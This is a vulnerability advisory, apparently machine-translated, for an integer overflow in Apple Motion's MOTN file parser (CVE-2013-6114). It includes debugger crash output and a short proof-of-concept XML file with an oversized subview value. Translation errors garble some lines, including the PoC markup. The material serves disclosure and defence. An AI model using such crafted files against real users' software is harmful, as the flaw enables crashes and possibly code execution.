Apple Motion 'ozdocument: parseElement () 'Function Integer Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
Apple Motion <5.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 62874
CVE (CAN) ID: CVE-2013-6114

Motion is a dynamic image editing tool launched by apple that can generate animations for text and letters.

When a MOTN file is processed by a version earlier than Apple Motion 5.1, The 'ozdocument: parseElement () 'function has an integer overflow error. After successful exploitation, it can cause out-of-bounds memory access and allow arbitrary code execution.

<* Source: Jean Pascal Pereira

Link: http://secunia.com/advisories/56196/
Http://www.exploit-db.com/exploits/28811/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Apple Motion Integer Overflow Vulnerability
========================================================== ===

Vendor: Apple (http://www.apple.com)
Software: Motion 5.0.7
Testcase verified on: OS X 10.8.

Credit: Jean Pascal Pereira <pereira@secbiz.de>

DESCRIPTION
==============

An integer overflow vulnerability has been identified in Apple Motion. The issue has been verified for Motion 5.0.7 (current release). Prior versions may also be affected.

An attacker has the possibility to provide a crafted. motn file containing a viewer element with a subview attribute. if the subview attribute is set to a very low or high integer value, the application crashes due an access violation.

Debug message:

Program received signal EXC_BAD_ACCESS, cocould not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00000002dd6e0990
0x0000000100858eb7 in OZDocument: parseElement ()

The crash is triggered in the function OZDocument: parseElement () at the following instruction:

(Gdb) x/I 0x0000000100858eb7
0x100858eb7 <_ ZN10OZDocument12parseElementER22PCSerializerReadStreamR15PCStreamElement + 695>: mov rsi, qword ptr [rbx + rax * 8 + 0x98]

The value of rax is controlled by the attacker (in this case, the rax register contains the integer 989894991 which is provided in the PoC below ).

(Gdb) p $ rax
$16 = 989894991

(Gdb) p/x $ rbx + ($ rax * 8) + 0x98
$1 = 0x2dd6e0990

PROOF OF CONCEPT
======================

Create a. motn file with the following content:

<? Xml version = "1.0" encoding = "UTF-8"?>
<! DOCTYPE ozxmlscene>
<Ozml version = "5.5">
<Viewer subview = "989894991">
</Viewer>
</Ozml>

DISCLOSURE TIMELINE
==============================
2013/09/18: Vendor notified
2013/10/07: Public disclosure

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Apple
-----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.apple.com/support/downloads/
Http://support.apple.com/kb/HT6041
Http://archives.neohapsis.com/archives/bugtraq/2013-12/0119.html